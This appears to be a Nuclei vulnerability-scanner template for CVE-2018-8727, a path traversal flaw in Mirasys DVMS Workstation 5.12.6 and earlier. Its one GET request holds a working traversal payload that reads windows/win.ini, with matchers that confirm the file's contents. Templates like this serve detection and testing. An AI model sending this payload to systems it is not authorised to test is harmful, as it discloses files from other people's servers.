nuclei-templates/cves/2018/CVE-2018-8727.yaml

31 lines
848 B
YAML

id: CVE-2018-8727
info:
name: Mirasys DVMS Workstation 5.12.6 Path Traversal
author: 0x_akoko
severity: high
description: Mirasys DVMS Workstation versions 5.12.6 and below suffer from a path traversal vulnerability.
reference:
- https://packetstormsecurity.com/files/148266/Mirasys-DVMS-Workstation-5.12.6-Path-Traversal.html
- https://www.cvedetails.com/cve/CVE-2018-8727
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-8727
cwe-id: CWE-22
tags: cve,cve2018,mirasys,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini"
matchers:
- type: word
part: body
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and